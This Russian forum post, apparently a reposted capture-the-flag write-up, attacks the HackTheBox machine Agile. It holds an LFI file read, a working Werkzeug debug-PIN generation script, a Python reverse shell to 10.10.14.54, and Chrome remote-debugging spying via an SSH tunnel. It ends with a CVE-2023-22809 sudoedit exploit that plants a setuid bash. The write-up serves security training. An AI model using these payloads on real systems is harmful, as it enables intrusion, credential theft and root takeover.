• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Ломаем PIN к веб-консоли Flask Werkzeug

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я разберу атаку на веб‑консоль Flask Werkzeug, работу с удаленным отладчиком Chrome и покажу, как эксплуатировать нашумевшую уязвимость в sudoedit для чтения произвольных файлов в системе.
Поможет мне в этом тренировочная машина Agile с площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — средний.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.203 agile.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. Как обычно в такой ситуации, сразу идем смотреть веб.

Главная страница agile.htb
Главная страница agile.htb
Нас встречает стартовая страница Nginx, а это значит, что основной сайт расположен либо в другом каталоге, либо на другом домене. Попробуем его найти, для этого просканируем каталоги с помощью Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -d — глубина сканирования.
feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -w directory_2.3_medium_lowercase.txt -d 2 -t 256
Результат сканирования каталогов
Результат сканирования каталогов
В результате сканирования находим редирект на домен superpass.htb. Добавляем его в файл /etc/hosts и проверяем.

10.10.11.203 agile.htb superpass.htb
Главная страница сайта superpass.htb
Главная страница сайта superpass.htb

Точка входа​

На сайте есть возможность зарегистрироваться и авторизоваться. Сделаем это, чтобы расширить область тестирования.

Форма авторизации
Форма авторизации
Теперь нам доступен онлайновый сервис для хранения учетных данных.

Страница vault
Страница vault
Нам нужно протестировать максимально возможное число функций сервиса. Создаем тестовую запись и экспортируем пароли.

Экспорт паролей
Экспорт паролей
Файл скачивается автоматически, просмотрим весь процесс в Burp History.

Burp History
Burp History
Имя файла для скачивания передается в параметре fn на странице download. Стоит проверить, можно ли выполнить обход каталога и получить другой произвольный файл.

Содержимое файла /etc/passwd
Содержимое файла /etc/passwd
Получаем содержимое файла /etc/passwd, а это значит, что на сайте есть уязвимость LFI.


Точка опоры​


LFI​

Первым делом, когда обнаруживаем LFI, нужно проверить все файлы, которые могут содержать интересную информацию. На GitHub можно найти много таких словарей, а перебирать по ним будем с помощью Burp Intruder.

Burp Intruder — вкладка Payload positions
Burp Intruder — вкладка Payload positions

В результате ничего особенного не нашли, только из файла /etc/passwd узнаем о наличии тестовой версии сайта на домене test.superpass.htb, а также получим переменные окружения процесса из файла /proc/self/environ.

Для просмотра ссылки Войди или Зарегистрируйся
Содержимое файла /proc/self/environ
Содержимое файла /proc/self/environ

Переменные окружения раскрыли нам пользователя www-data, от имени которого работает сервис. Интересна и переменная CONFIG_PATH, где указан файл настроек /app/config_prod.json. Но при попытке прочитать его получаем ошибку Bad Request.

Запрос на загрузку файла /app/config_prod.json
Запрос на загрузку файла /app/config_prod.json

Иногда при отображении ошибок приложение может раскрывать пути к файлам, в которых произошла ошибка. Поэтому попробуем скачать несуществующий файл /etc/qweqweqwe.txt.

Для просмотра ссылки Войди или Зарегистрируйся
Приложение предоставило большой вывод, в котором и присутствует путь к исполняемому файлу сайта:

/app/app/superpass/views/vault_views.py
Содержимое файла vault_views.py
Содержимое файла vault_views.py
Моей первой идеей было получить SECRET_KEY от Flask, чтобы можно было вручную генерировать идентификаторы сессии других пользователей и получать сохраненные пароли. Но в этом случае секретный ключ Flask не был явно задан.


Flask Werkzeug​

При регистрации и авторизации можно добиться ошибки Flask, что дает нам возможность запросить дебаг‑консоль Werkzeug. Но проблема в том, что она защищена девятизначным PIN-кодом.

Страница ошибки Flask Werkzeug
Страница ошибки Flask Werkzeug
Консоль Werkzeug
Консоль Werkzeug
Тут нам и пригодится уязвимость LFI, так как, имея доступ к некоторым параметрам системы, можно рассчитать PIN с помощью скрипта из Для просмотра ссылки Войди или Зарегистрируйся. Часть параметров у нас уже есть:
  • имя пользователя, от имени которого работает приложение, — www-data;
  • название модуля — обычно flask.app или werkzeug.debug;
  • название приложения — тоже берем из скрипта wsgi_app, это DebuggedApplication или Flask;
  • путь к приложению Flask — /app/venv/lib/python3.10/site-packages/flask/app.py.
Еще два необходимых значения — MAC-адрес и идентификатор системы. Первый параметр получаем из файла /sys/class/net/eth0/address, а затем переводим в десятеричный формат: 345052368982.

Содержимое файла /sys/class/net/eth0/address
Содержимое файла /sys/class/net/eth0/address
Преобразованное значение
Преобразованное значение
Чтобы получить второй недостающий параметр, нам нужно объединить значения из файлов /etc/machine-id и /proc/self/cgroup:

ed5b159560f54721827644bc9b220d00superpass.service
Содержимое файла /etc/machine-id
Содержимое файла /etc/machine-id
Содержимое файла /proc/self/cgroup
Содержимое файла /proc/self/cgroup
Теперь используем перечисленные значения в следующем скрипте для получения всех возможных вариантов PIN-кода.

Код:
import hashlib
import itertools
from itertools import chain


def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):
   h = hashlib.md5()
   crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)


def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):
   h = hashlib.sha1()
   crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)


def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):
   probably_public_bits = [
           username,
           modname,
           appname,
           flaskapp_path ]
   private_bits = [
           node_uuid,
           machine_id ]


   h = hasher
   for bit in chain(probably_public_bits, private_bits):
       if not bit:
           continue
       if isinstance(bit, str):
           bit = bit.encode('utf-8')
       h.update(bit)
   h.update(b'cookiesalt')


   cookie_name = '__wzd' + h.hexdigest()[:20]


   num = None
   if num is None:
       h.update(b'pinsalt')
       num = ('%09d' % int(h.hexdigest(), 16))[:9]


   rv =None
   if rv is None:
       for group_size in 5, 4, 3:
           if len(num) % group_size == 0:
               rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                             for x in range(0, len(num), group_size))
               break
       else:
           rv = num


   print(rv)


if __name__ == '__main__':
   usernames = ['www-data']
   modnames = ['flask.app', 'werkzeug.debug']
   appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']
   flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']
   nodeuuids = ['345052368982']
   machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']


   combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)


   for combo in combinations:
       username, modname, appname, flaskpath, nodeuuid, machineid = combo
       print('=========')
       crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)
       print(f'{combo}')
       print('=========')

Результат работы скрипта
Результат работы скрипта
Первый сгенерированный PIN дает доступ к консоли Python 3, откуда мы легко получаем системный шелл.

__import__('os').popen('id').read();
Консоль Werkzeug
Консоль Werkzeug
Теперь используем следующий реверс‑шелл Python 3, который поймаем на листенер pwncat -lp 4321.

Код:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.54",4321))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")

Сессия пользователя www-data
Сессия пользователя www-data

Продвижение​


Пользователь corum​

Наше приложение использует базу данных, а значит, скорее всего, и пароли тоже хранит в ней. Попробуем найти учетные данные для подключения к БД.

Поиск подстроки MySQL в исходных кодах приложения
Поиск подстроки MySQL в исходных кодах приложения

В исходниках ничего найти не удалось, но это не проблема, так как у нас есть доступ к консоли отладчика приложения. Сначала найдем главный файл приложения app.py в модуле wsgi_app.

Модуль wsgi_app в отладчике
Модуль wsgi_app в отладчике

Открываем консоль и получаем из конфига параметры SECRET_KEY и SQL_URI. Второй содержит учетные данные для подключения к базе.

Параметры SECRET_KEY и SQL_URI
Параметры SECRET_KEY и SQL_URI
Теперь подключаемся к базе данных и заходим в таблицу superpass.

mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'
use superpass;
Подключение к базе данных
Подключение к базе данных
И получаем таблицы из базы superpass.

show tables;
Таблицы в базе superpass
Таблицы в базе superpass
Нам интересна таблица passwords. Смотрим, что в ней.

select * from passwords;
Данные в таблице passwords
Данные в таблице passwords

Строки из столбца password непохожи на хеши, поэтому попробуем использовать их как пароли и переберем при авторизации по SSH от имени пользователя corum.

Флаг пользователя
Флаг пользователя
Флаг пользователя — у нас!


Пользователь edwards​

Чтобы повысить привилегии, нужно первым делом собрать информацию. Я, как обычно, прибегну к скриптам PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Смотрим, что нашел скрипт, и отмечаем для себя важную информацию.

В списке процессов — Google Chrome с активированной удаленной отладкой на порте 41829.

Дерево процессов
Дерево процессов

Из списка открытых портов определяем, что порт 41829 доступен только для обращения с локального хоста.

Список открытых портов
Список открытых портов

Среди последних модифицированных файлов в системе присутствует какой‑то пакет пользовательских скриптов activate.

Последние модифицированные файлы
Последние модифицированные файлы

Это дает нам вектор атаки. Если у Google Chrome активна удаленная отладка, значит, можно с помощью другого браузера Chrome подключиться к порту отладчика и получать все доступные данные. Это позволит как бы «подсматривать» за пользователем. Но первым делом организуем SSH-туннель так, чтобы весь трафик, который мы пошлем на локальный порт 41829, был туннелирован на порт 41829 указанного хоста (в данном случае 127.0.0.1) через SSH.

ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N
Когда туннель готов, можно приступать к настройке браузера. В строке поиска переходим на страницу chrome://inspect и в графе Discover network targets добавляем запись localhost:41829.

Настройки для разработчиков Chrome
Настройки для разработчиков Chrome
Добавление хоста
Добавление хоста

Когда пользователь зайдет на любую страницу, мы увидим информацию об этом. К примеру, в данном случае пользователь зашел на страницу Для просмотра ссылки Войди или Зарегистрируйся.

Информация о подключениях
Информация о подключениях

Выбираем inspect и получаем ту же страницу, что отображается у пользователя.

Отладчик Google Chrome
Отладчик Google Chrome

Так мы получаем новые учетные данные, с которыми можно авторизоваться в системе от имени пользователя edwards.

Сессия нового пользователя
Сессия нового пользователя

Локальное повышение привилегий​

Разведку на хосте уже проводили, а со сменой контекста работы в Linux мало что меняется. Но все же некоторые вещи нужно проверить заново. Одна из них — настройки sudoers.

sudo -l
Настройки sudoers
Настройки sudoers

Справка: sudoers​

Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Видим, что наш пользователь может запустить команды sudoedit /app/config_test.json и sudoedit /app/app-testing/tests/functional/creds.txt от имени пользователя и группы dev_admin. А члены этой группы могут записывать в недавно обнаруженный файл /app/venv/bin/activate, который периодически выполняется в системе от имени рута.

Права на файл /app/venv/bin/activate
Права на файл /app/venv/bin/activate

В sudoedit есть известная уязвимость CVE-2023-22809, подробнее можешь прочитать о ней в отчете Synacktiv (Для просмотра ссылки Войди или Зарегистрируйся). С помощью этой уязвимости мы сможем выполнить команду в контексте sudo от имени пользователя dev_admin. Это дает нам возможность дописать свой код в файл /app/venv/bin/activate, чтобы запустить что угодно в привилегированном контексте. Выполним команду nano -- /app/venv/bin/activate:

export EDITOR="nano -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json
Эксплуатация уязвимости sudoedit
Эксплуатация уязвимости sudoedit
Теперь открываем файл в nano и дописываем код: chmod u+s /bin/bash. Он назначит S-бит файлу командной оболочки /bin/bash.

Редактирование файла
Редактирование файла
Проверка успешной записи
Проверка успешной записи

Ждем некоторое время, периодически проверяя права на файл /bin/bash. Как только заметим выставленный S-бит, получаем привилегированную сессию.

Права на файл /bin/bash
Права на файл /bin/bash
/bin/bash -p
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу